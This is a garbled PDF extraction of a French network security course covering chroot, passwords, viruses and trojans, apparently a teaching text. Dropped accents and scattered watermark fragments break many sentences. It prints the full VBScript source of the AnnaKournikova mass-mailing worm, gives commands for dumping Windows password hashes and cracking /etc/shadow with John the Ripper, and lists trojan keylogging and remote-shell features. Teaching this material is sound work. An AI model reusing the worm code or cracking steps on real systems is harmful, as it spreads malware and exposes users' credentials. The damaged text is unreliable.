La commande/fonction chroot est labrviation de "changer la racine", et dsigne le changement de racine du sytme de chiers sur lenvironnement dapplication. Ceci signie que le / initial dans tous les noms de chemins sera relatif au chemin chroot.

ic

en ce

FD

Chrooting : Technique demprisonnement [8]

CHAPITRE 32. CHROOTING : TECHNIQUE DEMPRISONNEMENT [?]

128

F IG . 32.1 Chroot sur le dmon Apache

32.5 Travaux Pratiques


32.5.1 Crer un chroot minimal

Sous root, crer les rpertoires bin et lib dans un rpertoire chroot Rponse : mkdir -p /chroot/bin /chroot/lib

Copier le bash dans le rpertoire bin

A laide de la commande ldd visualuser les librairies utilises par bash. Rponse : ldd /bin/bash

Copier les dans votre rpertoire lib Rponse :

oc um en ts

Rponse : whereis bash ; cp /bin/bash /chroot/bin

ou sl

ic

cet emprisonnement en modiant quelque peu le code source. Une vulnrabilit demeure tout de mme pour ces deux services, laccs un shell (plus ou moins rduit).

en ce

FD

CHAPITRE 32. CHROOTING : TECHNIQUE DEMPRISONNEMENT [?]

129

ldd /bin/bash | awk print "cp " $3 " /home/eric/chroot" $3 | /bin/bash Tester Rponse : chroot /chroot

Comme indiquer dans laide chrootez votre systme mont.

Conclusion

Rponse : La racine a chang de place, nous sommes sur un autre syst`me. e e

oc um en ts

ou sl

Rponse : chroot /mnt/sysimage ; pwd

ic

en ce

Rponse : cd /mnt/sysimage ; pwd

FD

Utiliser le CD1 de votre distribution RedHat en mode rescue. Dplacer vous dans le rpertoire /mnt/sysimage. Noter le chemin.

32.5.2 chroot en mode Rescue

Chapitre 33

33.1 Les mots de passe

Les mots de passe permettent dobtenir un accs une zone sensible de votre systme. Mme si cet accs vous semble bnin, toute porte dentre dans votre systme laisse la place plus grand vandalisme et permet souvent la mise en place de logiciels des ns de piratages ou de bonds.

33.2 Quelques rgles dans la cration des mots de passe


33.2.1 Les mots de passe viter
viter ce qui peut tre devin (et sera essay par des programmes style crack) : Son propre mot de login ! Si la liste des utilisateurs est connue, attaque triviale... Suites de touches clavier Numros de tlphones ou de plaques minralogiques personnels Noms/prnoms de lenvironnement personnel Mots de nimporte quelle langue lendroit ou lenvers Personnages/mots de romans, jeux,... Des modications simples des cas prcdents : chiffre ou ponctuation avant ou aprs

Le mot de passe doit utiliser une combinaison de caractres de tous types (notamment non alphanumrique). Il doit contenir 6 7 caractres diffrents au moins. Il doit tre facile retenir pour ne pas avoir besoin de lcrire Il doit utiliser : des caractres de contrle, et/ou de ponctuation, et/ou des chiffres et/ou des lettres majuscules et minuscules. Et comme nous lavons vu prcdemment : Il ne doit pas faire rfrence une information : gnrale ou personnelle. 130

33.2.2 Rgles de constitution de mot de passe "solide"

oc um en ts

ou sl

ic

en ce

FD

Mots de passe

CHAPITRE 33. MOTS DE PASSE


lie linstallation du systme, lentreprise ou lorganisation. au dictionnaire (franais, anglais ou autre)

131

33.3 Exemple dune mthode de cration de mot de passe


Il est possible dutiliser une phrase cl et den extraire la premire et la dernre lettre de chaque mot de la phrase. Exemple "Je suis en cours de scurit" Jsecds Puis on rajoute des caractres spciaux. J&s#ecds

33.4 Cryptage des mots de passe

Listing 33.1 Exemple de lutilisation de la fonction crypt


1 2 3 4 5 6 7 8 9 10 11 12 13 14

v o i d main ( ) { c o n s t char c l e [ 3 0 ] ; c o n s t char s e l [ 3 ] ;

s p r i n t f ( c l e , "%s " , " c o u c o u " ) ; s p r i n t f ( s e l , "%s " , " ab " ) ; p r i n t f ( "%s \ n " , c r y p t ( c l e , s e l ) ) ; }

33.5 Travaux Pratiques : test des mots de passe


Il est possible dutiliser des ns de tests les mmes utilitaires que les pirates. Je citerai notamment John The Ripper qui permet de dtecter le degr de scurit des mots de passe sur un systme Linux ou Windows. John The Ripper : http://www.openwall.com/john/

oc um en ts

# i n c l u d e < s t d i o . h> # d e f i n e _XOPEN_SOURCE_ # i n c l u d e < u n i s t d . h>

ou sl

Un mot de passe crypt est cr partir de la fonction crypt. Celle-ci utilise votre mot de passe et du sel (2 caractres dtermin ou non de manire alatoire) pour crypter le mot de passe. Le sel permet de faire monter la sauce i.e. de mlanger les lettres du mot de passe de manire le crypter dune certaine faon. Le sel se retrouve dans les deux premires lettres du mot de passe crypt an de pouvoir tablir la fonction inverse (dcryptage). Cest pour cette raison que les chiers de mots de passe UNIX /etc/passwd nindiquent pas le mot de passe mme crypt. Celui-ci est consign dans un chier shadow qui nest lisible et modiable que par root.

ic

en ce

FD

CHAPITRE 33. MOTS DE PASSE

132

33.5.1 John The Ripper sur Windows


Installation de pwdump2 An de rcuprer la liste des mots de passe et des utilisateurs de Windows, il est ncessaire dutiliser le logiciel pwdump2. Tlcharger le logiciel pwdump2 sur http://www.bindview.com/Support/RAZOR/Utilities/Windows/ Dcompresser le chier dans le rpertoire c:\pwdump2 Ouvrir une commande MS-DOS et se rendre dans le rpertoire c:\pwdump2 Excuter pwdump2 en redirigeant la sortie vers un chier pwdump2 > motdepasse.txt Le chier motdepasse.txt contient maintenant les utilisateurs avec leurs mots de passe crypts. Editer le chier et supprimer les utilisateurs invalides (les mots de passes crypts qui leur sont associs sont en effet non conformes) : edit c:\pwdump2\motdepasse.txt Installation et excution de John The Ripper

33.5.2 John The Ripper sur Linux


Installation de John Dcompresser le chier

cd john-1.6/src make nous permet de connatre le bon paramtre de compilation make generic : compilation du logiciel Lexcutable se trouve maintenant dans le rpertoire john-1.6/run. Excution de John John peut tre excut de 2 manires gnrales : soit on possde le chier shadow et le chier passwd ; dans ce cas l : ./unshadow /etc/passwd /etc/shadow > passwd.1 ./john passwd.1 Les mots de passes asscocis aux utilisateurs apparaissent. soit le systme est congur sans shadow password, on ne possde alors que le chier password et dans ce cas l : cp /etc/password passwd.1 ./john passwd.1 si lon possde uniquement le chier shadow ./john shadow

oc um en ts

ou sl

Dcompresser John sur le rpertoire c :\john16. Se rendre dans le rpertoire run de john : cd c:\john16\run Copier le chier de mot de passe prcdmment gnr sur ce rpertoire : copy c:\pwdump2\motdepasse.txt . Excuter John : john motdepasse.txt. Les mots de passe apparatront dans quelques secondes ou minutes. Il est noter que lencryptage de Microsoft est trs faible et que de ce fait, peu de temps est ncessaire pour casser les-dits mots de passe. Il faut donc dautant plus blinder le dit mot de passe.

Rponse : tar xvzf john*.tgz

ic

en ce

FD

CHAPITRE 33. MOTS DE PASSE

133

loption -users :<user> permet de faire la recherche du mot de passe pour UN groupe ou UN utilisateur. Le rpertoire doc contient des exemples et de nombreuses aides techniques...

33.6 Gestion des mots de passe


33.6.1 Paramtrage par dfaut
Ouvrez le chier /etc/login.defs Regarder la section Password aging controls

33.6.2 PAM : Pluggable Authentication Modules : les mots de passe

Pour comprendre le module PAM, il est ncessaire de savoir ce que signie les lments suivants : Type auth account password session

33.6.3 Quelques mots sur Cracklib

Requires the system library libcrack and a system dictionary : /usr/lib/cracklib_dict. Peut vrier notamment les points suivants : Palindrome Case Change Only : lancien mot de passe est identique au niveau en changeant la casse des carcatres. Similaire : Le nouveau mot de passe est trop similaire lancien. Simple : Le mot de passe est trop simple (trop court). Rotated : Le nouveau mot de passe est un mlange de lancien mot de passe. Already used : Le nouveau mot de passe a dj t utilis.

1 In a nutshell, pam_stack lets you "call", from inside of the stack for a particular service, the stack dened for any another service. The intention is to allow multiple services to "include" a system-wide setup, so that when that setup needs to be changed, it need only be changed in one place.

oc um en ts

requisite Le module doit russir. A dfaut PAM met n lauthentication sans excuter les autres modules. sufcient Si le module russit, lauthentication est valide et les autres modules du mme type ne sont pas excuts. required Lexcution du module est obligatoire. regarder le chier /etc/pam.d/passwd pam_stack.so est un module particulier permettant dappeler dautres services avec une mme interface 1 regarder le chier /etc/pam.d/system-auth, noter la prsence de la bibliothque pam_cracklib.so

ou sl

Stratgie dauthentication

ic

Le module qui autorise lauthentication. Le module qui vrie si lauthentication est autorise, par exemple que la date dexpiration du compte nest pa Identie le module qui permet de changer les mots de passe. Le module qui est activ quand lutilisateur est authenti.

en ce

FD

Chapitre 34

oc um en ts

ou sl
134

ic

en ce

Malgr toutes les solutions vues prcdemment pour contrer les attaques du net, la scurit passe avant tout par une veille technologique de tous les instants comme nous le montre cet article.

FD

Conclusion

CHAPITRE 34. CONCLUSION


Neuf nouvelles failles pour Internet Explorer Jrme Saiz, 01net., le 28/10/2002 19h00

135

Du vol de documents lexcution de code sur le PC, les dgts potentiels de ces failles sont nombreux. Aucun correctif nest disponible pour linstant. Microsoft, prvenu tardivement, mne lenqute. Ces neufs dfauts du navigateur Internet Explorer partagent une origine commune : un obscur dfaut de validation des zones de scurit. Ils concernent les versions 5.5 et 6 dInternet Explorer, ainsi que les navigateurs MSN et AOL, qui partagent la mme technologie. Internet Explorer 6 SP1 nest cependant sensible qu une, peut-tre deux, de ces failles, tandis que les versions antrieures la 5.5 sont totalement immunises. Les neufs failles ont ts dcouvertes par la socit Grey Magic, qui a rapidement publi ses trouvailles. Cette dmarche a exaspr Microsoft, qui dplore de ne pas avoir eu le temps de ragir : Nous regrettons que ce rapport ait t rendu public avant que nous ayons eu la moindre occasion de ltudier. Sa publication pourrait mettre nos clients en danger, et au minimum semer la confusion et le doute , fait remarquer Bernard Ourghanlian dans ce qui semble dsormais tre la rponse ofcielle chaque dcouverte dune faille par un tiers. De son ct, Grey Magic se ddouane en expliquant que Microsoft refuse habituellement de reconnatre les failles et ne ragit quune fois mis au pied du mur. Mais dans cette querelle de clochers, lessentiel demeure : Internet Explorer est de nouveau gravement mis en dfaut, et aucun correctif nest encore disponible. Nous faisons en sorte davancer au plus vite sur cette investigation , dclare Bernard Ourghanlian.

Pourtant, Internet Explorer se protge habituellement plutt bien contre ces attaques : le navigateur sassure, lorsque le contenu de deux fentres cherche communiquer, que toutes les deux appartiennent la mme zone de scurit (Internet ou Locale). Hlas, les dveloppeurs de Microsoft ont oubli dtendre ces contrles certaines mthodes et objets du navigateur (notamment ceux lis au cache). Cest grce ces composants quun pirate peut jouer aux vases communicants et manipuler une fentre locale depuis une fentre Internet. En attendant le correctif ad hoc, la seule protection est de dsactiver les fonctions de script dInternet Explorer. Ou de proter de loccasion pour essayer un autre navigateur, tel Mozilla ou Opera...

oc um en ts

De nombreuses possibilits dabus Concrtement, toutes ces nouvelles failles permettent un pirate dchapper au cloisonnement que le navigateur met en place entre Internet et le systme local. On peut ainsi forcer un script issu dune page web (zone Internet ) agir sur le systme (zone Locale ) et ainsi voler un cookie dauthentication, lancer un programme quelconque ou rcuprer des documents.

ou sl

ic

en ce

FD

oc um en ts

ou sl
136

ic

Le plus grand danger : soit !

en ce

Septime partie

FD

Chapitre 35

Les virus, petits programmes destructeurs du dbut des annes 80, ils sont devenus des outils dinformations ou de vritables espions. A des ns de maintenance et bien sr toujours dans un souci damliorer le produit, les logiciels commerciaux ou non peuvent devenir de vritables spywares. Oh le beau site Web ! Oh quil est intressant ce jeu de Ttris ... Le JavaScript, le VBScript, les Applets Java, des outils de programmation qui ne peuvent pas voir le contenu de votre disque mais qui par leur puissance sont capables dutiliser la moindre faille de scurit de votre systme dexploitation pour aller piocher les informations. Voulez vous un gateau ? Eh oui les cookies sont bien pratiques mais lorsque lon pense que notre disque peut tre lu, ils deviennent un peu indigestes. Vous aimez le ct relationnel ? Trs bien, mais mez vous, lingnierie sociale est une mthode pour vous inciter dvoiler des informations.

oc um en ts

ou sl
137

Au travers de votre courrier lectronique, des logiciels installs sur votre machine, des visites sur les espaces Web ou mme de vos relations personnelles, il est possible que vous ayez transmis des informations permettrant de rompre la scurit de votre systme informatique.

ic

en ce

You are dangerous Toute personne possdant un accs au serveur Web ou au serveur de messagerie, Toute personne possdant un accs rseau au poste de ladministrateur, Tout personne possdant un accs au poste du webmaster, Toute personne de votre socit, Toutes ces personnes sont potentiellement dangereuses.

FD

Introduction

Chapitre 36

36.1 Introduction

36.2 Dnition

36.3 tude de cas


tudions le cas du virus Nimda. [2] Nom W32/Nimda-D Alias W32.Nimda.E@mm, W32/Nimda.g@MM Type Virus de chier excutable W32 Description W32/Nimda-D est une variante de W32/Nimda-A. Le virus se propage par le biais demails, des partages rseau et des sites Internet. Le virus W32/Nimda-D peut infecter les utilisateurs de systmes dexploitation Windows 95/98/Me ainsi que ceux de Windows NT et 2000.

"Un virus est un petit programme situ dans le corps dun autre, qui, lorsquon lexcute, se charge en mmoire et excute les instructions que son auteur a programm." En quoi ceci nous concerne ? Le programme excut par le virus peut tre de nimporte quel type et notamment rseau. Il peut donc votre insu modier ou envoyer des donnes contenues sur le serveur que vous administrez. Certains virus reprennent des documents ou des courriers envoys pour les envoyer de nouveau des destinataires alatoires de votre carnet dadresse. Vous pourriez par exemple, envoyer des courriers condentiels (imaginons au pire que ce soit votre courrier contenant les mots de passe du mois courant (ce qui reprsente une seconde faute)) sans vous en apercevoir. Adieu la scurit dans ce cas l. Par exemple Troj/Love Let-A envoie par mail une adresse aux Philippines des renseignements sur lutilisateur et sa machine.

oc um en ts

ou sl
138

ic

Au milieu des annes 80, an de se protger des copies illgales de leur logiciel, Basit et Amjad ALVI de Lahore crrent le premier virus informatique. Ce programme plaait sa propre rplique et un message de copyright dans chacune des disquettes copies par le client. Le premier virus tait n. Aujourdhui 20 ans aprs, les techniques virales sont de loin beaucoup plus volues et peuvent permettre le piratage ais de vos serveurs.

en ce

FD

Les Virus

CHAPITRE 36. LES VIRUS

139

Les e-mails affects par le virus ont une pice jointe nomme SAMPLE.EXE. Le virus essaie dexploiter une faille de scurit MIME1 , prsente dans certaines versions de Microsoft Outlook, Microsoft Outlook Express, et Internet Explorer, qui permet dexcuter automatiquement un chier sans que lutilisateur ne double-clique sur la pice jointe. Le virus se copie dans le rpertoire Windows sous les noms de chiers load.exe et riched20.dll (ayant les attributs de chier congurs "cach") et essaie de se propager vers dautres utilisateurs par le biais de partages rseau. Le virus modie le chier System.ini pour inclure la ligne

Le virus senvoie dautres adresses e-mail trouves sur lordinateur. De plus, le virus recherche des serveurs web IIS souffrant de plusieurs failles, incluant la faille Unicode Directory Traversal. Le virus parcourt les serveurs HTTP IIS en gnrant de faon alatoire des adresses IP et en envoyant des requtes HTTP GET malformes. Lorsquune machine vulnrable est trouve, le virus se copie dans le chier HTTPODBC.DLL et sexcute. Sur certaines machines infectes, le virus se copie aussi dans le rpertoire Windows sous le nom de chier CSRSS.EXE. Le virus essaie de modier le contenu des pages de tels serveurs, cherchant des chiers avec les noms suivants :

Si lun des chiers est trouv sur le serveur web, le virus essaie de modier le contenu du chier, en ajoutant une partie de code JavaScript malveillante la n du chier. Si le site web est alors consult par un utilisateur avec une version non-scurise dInternet Explorer, le code malveillant tlcharge automatiquement un chier nomm readme.eml sur lordinateur de lutilisateur - qui est ensuite excut, faisant suivre le virus une fois de plus. Lorsque le virus se propage en utilisant les lecteurs rseau, il place un nombre de chiers aux noms alatoires avec les extensions EML et NWS. Le contenu de ces chiers est identique au contenu du chier
1 MIME

lInternet.

: "Multi-purpose Internet Mail Extensions", est une spcication dcrivant les formats de messages multimdias sur

oc um en ts

ou sl
index.html index.htm index.asp readme.html readme.htm readme.asp main.html main.htm main.asp default.html default.htm default.asp

ic

en ce

FD

pour quil sexcute au dmarrage de Windows.

shell=explorer.exe load.exe -dontrunold

CHAPITRE 36. LES VIRUS


readme.eml.

140

Le corps du virus contient le texte "Concept Virus (CV) V.6 Copyright(C) 2001, (Thiss CV No Nimda.)". Pour plus dinformations sur la protection de vos systmes contre Nimda, veuillez lire : http ://www.microsoft.com/technet/security/topics/Nimda.asp.

36.4 Descriptif du Virus : VBS.SST@mm alias Virus AnnaKournikova


Le virus VBS.SST@mm aussi appel Virus Anna Kournikova est un ver similaire I Love You qui se propage via la messagerie. Le message a comme titre Here you have, Here you go Here you are. Le corps du message contient le texte Hi : Check This !. La pice jointe au message est un chier intitul AnnaKournikova.jpg.vbs ou une abrviation similaire celle ci. Si lutilisateur excute la pice jointe, le virus se copiera dans le rpertoire Windows et se transmettra par messagerie tous les contacts du carnet dadresses Microsoft Outlook. Le rsultat peut tre un engorgement des serveurs de messageries pouvant avoir un effet similaire une attaque Denial Of Service.

Si le ver est excut le 26 Janvier, il tentera de se connecter un site Internet en Hollande.

Ceci pour viter que le ver sexpdie plusieurs fois. Le sujet, le corps et la pice jointe au message sont : Sujet : Here you have ;o) Corps du message : Hi : Check This ! Pice jointe : AnnaKournikova.jpg.vbs

36.4.2 Exemple de code de Virus : AnnaKournikova


Listing 36.1 Code source de AnnaKournikova
1 2 3 4 5 6 7 8 9 10 Vbs . OnTheFly C r e a t e d By OnTheFly On Error Resume Next Set W S cr i pt S hel l = CreateObject ( " WScript . S h e l l " ) W S c r i p t S h e l l . r e g w r i t e "HKCU\ s o f t w a r e \ OnTheFly \ " , "Worm made w i t h Vbswg 1 . 5 0 b " Set FileSystemObject = Createobject ( " s c r i p t i n g . f i l e s y s t e m o b j e c t " ) FileSystemObject . c o p y f i l e w s c r i p t . s c r i p t f u l l n a m e , F i l e S y s t e m O b j e c t . G e t S p e c i a l F o l d e r ( 0 ) & " \ AnnaKournikova . j p g . v b s " <! La l i g n e p r c d e n t e s e d o i t d t r e l a s u i t e de G e t S p e c i a l F o l d e r . . . >

oc um en ts

Ensuite, le ver se transmettra tous les destinataires du carnet dadresses Microsoft Outlook et donnera la valeur 1 la cl suivante : HKEY\_CURRENT\_USER\Software\OnTheFly\Mailed

ou sl

Lorsquil est excut, le ver cre les entres suivantes dans la base de registre : HKEY_CURRENT_USER\Software\OnTheFly

ic

36.4.1 Description Technique

en ce

FD

CHAPITRE 36. LES VIRUS


11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 i f W S c r i p t S h e l l . r e g r e a d ( "HKCU\ s o f t w a r e \ OnTheFly \ m a i l e d " ) <> " 1 " t h e n doMail ( ) end i f i f month ( now ) = 1 and day ( now ) = 26 t h e n W S c r i p t S h e l l . r u n " H t t p : / / www. d y n a b y t e . n l " , 3 , f a l s e end i f Set t h i s S c r i p t = FileSystemObject . o p e n t e x t f i l e ( w s c r i p t . s c r i p t f u l l n a m e , 1) t his Scri ptText = t h i s S c r i p t . readall t h i s S c r i p t . Close

141

Loop Function doMail ( )

On Error Resume Next S e t OutlookApp = C r e a t e O b j e c t ( " O u t l o o k . A p p l i c a t i o n " ) I f OutlookApp = " O u t l o o k " Then S e t MAPINameSpace = OutlookApp . GetNameSpace ( "MAPI" ) S e t A d d r e s s L i s t s = MAPINameSpace . A d d r e s s L i s t s For Each a d d r e s s I n A d d r e s s L i s t s I f a d d r e s s . A d d r e s s E n t r i e s . Count <> 0 Then e n t r y C o u n t = a d d r e s s . A d d r e s s E n t r i e s . Count For i = 1 To e n t r y C o u n t S e t newItem = OutlookApp . C r e a t e I t e m ( 0 ) Set currentAddress = address . AddressEntries ( i ) newItem . To = c u r r e n t A d d r e s s . A d d r e s s newItem . S u b j e c t = " Here you have , ; o ) " newItem . Body = " Hi : " & v b c r l f & " Check T h i s ! " & v b c r l f & " " s e t a t t a c h m e n t s = newItem . A t t a c h m e n t s a t t a c h m e n t s . Add F i l e S y s t e m O b j e c t . G e t S p e c i a l F o l d e r ( 0 ) & " \ AnnaKournikova . j p g . v b s " newItem . D e l e t e A f t e r S u b m i t = T r u e I f newItem . To <> " " Then newItem . Send W S c r i p t S h e l l . r e g w r i t e "HKCU\ s o f t w a r e \ OnTheFly \ m a i l e d " , " 1 " End I f Next End I f Next end i f End F u n c t i o n Vbswg 1 . 5 0 b

oc um en ts

ou sl

ic

en ce

I f Not ( F i l e S y s t e m O b j e c t . f i l e e x i s t s ( w s c r i p t . s c r i p t f u l l n a m e ) ) Then Set newFile = FileSystemObject . c r e a t e t e x t f i l e ( w s c r i p t . s c r i p t f u l l n a m e , True ) newFile . write t h i s S c r i p t T e x t newFile . Close End I f

FD

Do

CHAPITRE 36. LES VIRUS


Debug Quelques petites spcications de programmation sont connatre pour comprendre le programme : regwrite wscript.scriptfullname GetSpecialFolder(0) opentextle (path, 1) createtextle (path, 1) MAPI permet dcrire dans la base de registre retourne le chemin complet du script en cours dexcution retourne le chemin systme de Windows ouvre le chier texte en lecture seule ouvre le chier en overwrite Microsoft API (Application Programming Interface)

142

36.6 Travaux Pratiques


36.6.1 Analyse de code

Retrouver les diffrents lments dcrits dans lanalyse du virus dans le code source du virus.

36.6.2 Installation dun antivirus


Installer AntiVir. Utiliser laide pour voir le descriptif dun virus. Allez sur le site dantivir (http://www.antivir.de) pour dcouvrir le dernier antivirus sorti. Faire un scan de tous les chiers de votre disque dur.

oc um en ts

ou sl

ic

en ce

Comme nous avons pu le constater, il est ncessaire de mettre jour lanti-virus sur le serveur et les machines clientes qui ont accs ce serveur. Ceci ne suft hlas pas, lanti-virus a toujours un wagon de retard par rapport au dernier virus connu. Il est donc ncessaire dtre trs paranoaque lors de louverture de courrier lectronique avec pices attaches. Lune des principales choses effectuer est aussi dabandonner les clients mails de type passoire ;-).

FD

36.5 Conclusion : Se protger

Chapitre 37

37.1 Introduction

Utilis des ns de maintenance dans les logiciels commerciaux, les portes drobes et autres spcications de maintenance peuvent transformer trs rapidement un simple logiciel en vritable spyware. Inutile dtre un 007 dans ce cas pour deviner ce que vous avez sur votre disque dur.

37.3 Dnition

Un Trojan possde 3 caractrisques principales : 1. un comportement apparament utile lutilisateur de lordinateur (cest le porteur, la partie visible du cheval que les grecs exhibrent devant Troie) 2. cest lutilisateur qui va installer le programme sur son ordinateur (ce sont les troyens eux-mmes qui introduisirent le cheval dans lenceinte de Troie) 3. un comportement cach malveillant conduisant la destruction des donnes et / ou louverture dune porte dans le systme de communication (cest la cohorte de grecs sortant en cachette de nuit du cheval pour ouvrir les portes de Troie et permettre au reste de larme grecque dentrer et totalement dtruire Troie). On les nomme aussi de la faon suivante : Backdoor (porte de derrire) ou plus vulgairement Back Orice (trou du cul)

oc um

Troie (guerre de) Guerre lgendaire raconte dans lIliade et lOdysse, ainsi que dans les autres pomes piques de lAntiquit grecque qui forment le cycle troyen. Elle rete sans doute lun des derniers pisodes de lexpansion mycnienne. Daprs la lgende, cette guerre fut provoque par lenlvement dHlne, femme du roi de Sparte, Mnlas, par le prince troyen Pris. Pour venger cet affront, les Grecs lancrent contre Troie une expdition commande par Agamemnon. Aprs un sige de dix ans infructueux, Troie fut prise par la ruse : les grecs construisirent un immense cheval de bois quils amenrent devant Troie et se retirrent, faisant semblant dhonorer ainsi la rsistance de Troie et dabandonner le sige. Les troyens introduisirent le cheval dans la ville do sortirent, de nuit, des guerriers qui ouvrirent les portes de la cit. Celle-ci fut rase et ses habitants massacrs ou rduits en esclavage.

en ts

ou sl
143

37.2 Rappel Historique

ic

en ce

FD

Les Trojans ou Chevaux de Troie

CHAPITRE 37. LES TROJANS OU CHEVAUX DE TROIE


Accs Telnet

144

Accs HTTP avec un navigateur

Information sur le systme distant

Envoi de botes de dialogue (version Windows) avec rponse de lutilisateur Fonction keylogger

TAB . 37.1 Quelques fonctionnalits dun trojan

Nom Troj/Subseven Alias Troj/Backdoor-G., Sub Seven, Troj/Sub7, Subseven.backdoor Type Cheval de Troie Rsident Non. Description Le package contient deux ou trois programmes. Lun des chiers devrait tre install sur une machine "serveur". Une fois le programme serveur install, le client prend le contrle de lordinateur infect. Le client est un puisssant outil "dadministration distance". Il a des capacits de contrle distance telles que la possibililt dditer le chier de registre du serveur Windows, commuter lcran, changer les couleurs du bureau, redmarrer Windows, jouer des sons, envoyer des messages, arrter lafchage, dsactiver des touches du clavier, cacher le curseur de la souris ou la barre des tches. Le client peut aussi voler les mots de passe et lire les touches presses sur le clavier du serveur depuis le dernier dmarrage. Le troisime programme est un utilitaire qui peut tre utilis pour congurer le programme serveur. Il est possible de patcher le serveur avec nimporte quel excutable pour quil mime la reception dun chier valide au lieu dun cheval de Troie. Le programme de conguration du serveur congure aussi la faon dont le serveur est "install". Pour sinstaller, le serveur peut utiliser le chier de registre de Windows. Il peut aussi changer les chiers C :\WINDOWS\WIN.INI ou C :\WINDOWS\SYSTEM.INI pour que le serveur sexcute au dmarrage de Windows. Faille Comme on peut le voir tout ce que vous tapez au clavier peut tre intercept. limage du sniffer vu en dbut de cours, le trojan permettra toute personne malveillante de connatre ce qui est saisi par un administrateur systme et rseaux, notamment les mots de passe daccs vos serveurs.

37.5 Conclusion : Se protger


Une nouvelle fois un anti-virus est le bienvenu. Mais celui-ci pourrait tre malencontreusement dsactiv par un nouveau trojan (comme la fait le virus BugBear). Le meilleur moyen demeure tout de mme le ltrage des logs du FireWall. Voici un tableau des virus Trojans rfrencs et les ports concerns (des jeux y sont

oc um en ts

ou sl

37.4 Exemple

ic

en ce

permet denregistrer toute frappe au clavier pour rcupration et traitement ultrieur (mots de passe sur le web, mails, etc..). Cette fonctionnalit existe galement en version temps-rel : afchage des frappes clavier en direct chez lattaquant.

FD

permet de lancer une application en mode texte type "Ms-Dos" ou "Invite de commande" de faon invisible et de rediriger lentre/sortie standard vers un port particulier. Lattaquant na plus qu sy connecter (via telnet) pour communiquer directement avec lapplication. supporte le tlchargement et lenvoi de chiers permet de crer un serveur web basique dont la racine est celle du disque dur (dfaut). Ainsi, un simple navigateur web permet de naviguer dans larborescence des chiers, den tlcharger et mme den rajouter. Rcupre tous les mots de passe et permet daccder aux chiers mots de passe Windows (pwl et autres) et den afcher le contenu. A noter que les mots de passe utiliss pour des connexions distantes, partages de documents, etc, sont galement rcuprs. permet de communiquer avec lutilisateur.

CHAPITRE 37. LES TROJANS OU CHEVAUX DE TROIE


prsents). Source : http ://www.onctek.com/trojanports.html Port 1 2 20 21 21 21 21 21 22 23 25 25 25 25 25 25 30 31 41 48 50 58 59 79 80 80 80 80 80 81 99 110 113 119 121 123 133 137 138 139 139 142 146 170 334 411 420 Possible Trojan/BackDoor Sockets de Troie (UDP) Death Senna Spy FTP Server Back Construction FTP trojan WinCrash Juggernaut 42 Senna Spy FTP Shaft Tiny Telnet Server[TTS] Ajan Naebi Shtrilitz WinPC Gris Magic Horse Agent 40421 Agent 31 DeepThroat DRAT DRAT DMSetup DMSetup Firehotcker Executor BackEnd God Message MTX WAN Remote RemoConChubo Hidden Port ProMail trojan Kazimas Happy 99 JammerKillah NetController Farnaz Chode Chode Chode Network NetTaxi Infector A-Trojan Backage Backage Breach 421 455 456 513 514 531 555 555 605 666 666 666 667 669 692 777 808 911 999 1000 1001 1001 1010 1011 1012 1015 1016 1024 1024 1035 1042 1045 1049 1050 1053 1054 1080 1081 1082 1083 1090 1095 1097 1098 1099 1150 1151 1170 TCP Wrappers Fatal Connections Hackers Paradise GRLogin RPCBackdoor Rasmin Ini-Killer 711 [Seven Eleven] Secret Service Attack FTP ServeU Th3r1pp3rz [The Rippers] SniperNet DPTrojan GayOL AIM Spy WinHole Dark Shadow DeepThroat Der Spaeher Silencer Der Spaeher Doly Trojan Doly Trojan Doly Trojan Doly Trojan Doly Trojan NetSpy Remote Spy MultiDropper Bla Rasmin /sbin/initd MiniCommand The Thief AckCMD WinHole WinHole WinHole WinHole Xtreme RAT RAT RAT RAT Orion Orion Psyber Stream Server

145

Do cu me nt

so us

li ce nc e

FD L

CHAPITRE 37. LES TROJANS OU CHEVAUX DE TROIE


1200 1201 1207 1208 1212 1234 1243 1245 1255 1256 1257 1269 1272 1313 1338 1349 1394 1441 1492 1505 1509 1524 1568 1600 1703 1777 1807 1966 1967 1969 1981 1999 2000 2000 2001 2002 2003 2004 2005 2023 2080 2086 2115 2030 2140 2040 2155 2255 2283 2300 2311 NoBackO (UDP) NoBackO (UDP) SoftWar Infector Kaos Ultors Trojan BackDoor-G VooDoo Doll Scarab Project nEXT Frenzy 2000 Mavericks Matrix The Matrix NETrojan Millenium Worm BO DLL (UDP) GoFriller Remote Storm FTP99CMP FunkProxy Psyber Streaming Server Trin00 Remote Hack Shivka-Burka Exploiter Scarab SpySender FakeFTP WM FTP Server OpC BO Shockrave BackDoor TransScout Insane Network TransScout TransScout TransScout TransScout TransScout Ripper Pro WinHole Netscape/Corba Exploit Bugs Mini Backlash (UDP) Deep Throat 1.3 Server (UDP) Foreplay (UDP) Illusion Mailer Nirvana HVL Rat Xplorer Studio 54 2330 2331 2332 2333 2335 2336 2337 2338 2339 2345 2565 2583 2600 2716 2773 2774 2801 2989 3000 3024 3031 3128 3129 3150 3344 3345 3456 3459 3700 3777 3791 3801 4000 4092 4242 4321 4444 4567 4590 5000 5000 5001 5002 5010 5011 5025 5031 5032 5321 5333 5343

146 Contact Contact Contact Contact Contact Contact Contact Contact Contact Doly Trojan Striker WinCrash Digital RootBeer Prayer 1.2 SubSeven SubSeven Phineas Phucker RAT (UDP) RemoteShut WinCrash MicroSpy RingZero Masters Paradise Deep Throat 1.3 Server (UDP) Matrix Client Matrix Server Terror Trojan Eclipse 2000 Portal of Doom Psych Ward Eclypse Eclypse (UDP) Skydance WinCrash Virtual Hacking Machine [VHM] BoBo Prosiak File Nail ICQTrojan Bubbel Blazer5 Back Door Setup cd00r Solo One of the Last Trojans WM Remote Keylogger NetMetro NetMetro Firehotcker Backage wCrat WC Remote Admin Tool

Do cu me nt

so us

li ce nc e

FD L

CHAPITRE 37. LES TROJANS OU CHEVAUX DE TROIE


